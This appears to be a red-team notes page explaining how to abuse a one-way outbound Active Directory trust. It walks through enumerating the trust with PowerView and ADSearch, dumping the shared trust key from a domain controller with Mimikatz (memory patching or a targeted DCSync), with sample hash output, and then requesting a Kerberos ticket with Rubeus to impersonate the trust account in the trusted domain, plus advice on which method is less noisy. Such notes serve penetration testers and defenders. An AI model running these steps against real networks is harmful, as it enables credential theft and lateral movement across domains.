Skip to main content

One-Way Outbound Trust Abuse

We are dealing with a one-way outbound trust when trustingdomain.com trusts trusteddomain.com so the users from the second domain are able to access the resources in the first one. Given that we have high-privilege access to trustingdomain.com we are able to "reverse the trust" and accessing the resources of the trusted domain from the trusting one.

PS C:\users\otter\desktop> Get-DomainTrust -Domain trustingdomain.com

SourceName      : trustingdomain.com
TargetName      : trusteddomain.com
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FILTER_SIDS
TrustDirection  : Outbound
WhenCreated     : 8/16/2022 9:49:17 AM
WhenChanged     : 8/16/2022 9:49:17 AM

This configuration might make it look like there is no way for users to go from the trusting to the trusted domain but we can get a foothold in trusteddomain.com by leveraging the shared credential for the trust.

When two domains share a trust relationship, they both store and share a password (which has a default lifetime of 30 days) in a Trusted Domain Object (or TDO). TDOs can be found with LDAP queries and they are generally stored in the system container (MS Documentation).

A good tool to find them is ADSearch

PS C:\users\otter\desktop> ADSearch.exe --search "(objectCategory=trustedDomain)" --domain trustingdomain.com --attributes distinguishedName,name,flatName,trustDirection

[*] TOTAL NUMBER OF SEARCH RESULTS: 2
	[+] distinguishedName : CN=trustingdomain.com,CN=System,DC=trustingdomain,DC=com
	[+] name              : trustingdomain.com
	[+] flatName          : TRUSTING
	[+] trustDirection    : 3

	[+] distinguishedName : CN=trusteddomain.com,CN=System,DC=trustingdomain,DC=com
	[+] name              : trusteddomain.com
	[+] flatName          : TRUSTED
	[+] trustDirection    : 2

Now we have to get the trust hash from the DC of the trusting domain, to do this we can use the lsadump::trust /patch command from Mimikatz

mimikatz(commandline) # lsadump::trust /patch

Current domain: TRUSTINGDOMAIN.COM (TRUSTINGDOMAIN / S-1-5-21-102928273-333185529-3642627421)

 [  In ] TRUSTINGDOMAIN.COM -> TRUSTEDDOMAIN.COM

 [ Out ] TRUSTEDDOMAIN.COM -> TRUSTINGDOMAIN.COM
    * 12/21/2022 8:28:00 PM - CLEAR   - 54 00 72 00 75 00 73 00 74 00 4d 00 65 00 49 00 66 00 5a 00 6f 00 75 00 43 00 61 00 6e 00 34 00 32 00
        * aes256_hmac       075e08f0e35edc5a0a1e9e8b623799b46a3a9cd53be46c046b1168f39305bb0a
        * aes128_hmac       3c8405770c6c7be4975a5b43149210f2
        * rc4_hmac_nt       32302da7aa34caafdc2e247cc01c4690

 [ In-1] TRUSTINGDOMAIN.COM -> TRUSTEDDOMAIN.COM

 [Out-1] TRUSTEDDOMAIN.COM -> TRUSTINGDOMAIN.COM
    * 12/21/2022 8:28:00 PM - CLEAR   - 54 00 72 00 75 00 73 00 74 00 4d 00 65 00 49 00 66 00 5a 00 6f 00 75 00 43 00 61 00 6e 00 34 00 32 00
        * aes256_hmac       075e08f0e35edc5a0a1e9e8b623799b46a3a9cd53be46c046b1168f39305bb0a
        * aes128_hmac       3c8405770c6c7be4975a5b43149210f2
        * rc4_hmac_nt       32302da7aa34caafdc2e247cc01c4690

Performing memory patching on a DC is extremely noisy so it's best to use the second technique

Another way to get the shared trust hash is to enumerate the GUID of the TDO and DCSync to only get its hash

PS C:\users\otter\desktop> Get-DomainObject -Identity "CN=trusteddomain.com,CN=System,DC=trustingdomain,DC=com" | select objectGuid

objectguid                          
----------                          
b93d2e36-48df-46bf-89d5-2fc22c139b43

mimikatz @lsadump::dcsync /domain:trustingdomain.com /guid:{b93d2e36-48df-46bf-89d5-2fc22c139b43}

...

 [ Out ] TRUSTEDDOMAIN.COM -> TRUSTINGDOMAIN.COM

...

	* rc4_hmac_nt       f3fc2312d9d1f80b78e67d55d41ad496

By default, the trusted domain has a TRUSTINGDOMAIN$ account we can use the shared trust credentials to impersonate it over the trust

PS C:\users\otter\desktop> Rubeus.exe asktgt /user:TRUSTINGDOMAIN$ /domain:trustedomain.com /rc4:<TRUST_RC4_HASH> /nowrap

Since RC4 is default in domain trusts it's OK to use it instead of AES256.

A good post that describes the attack is this one.

Back to top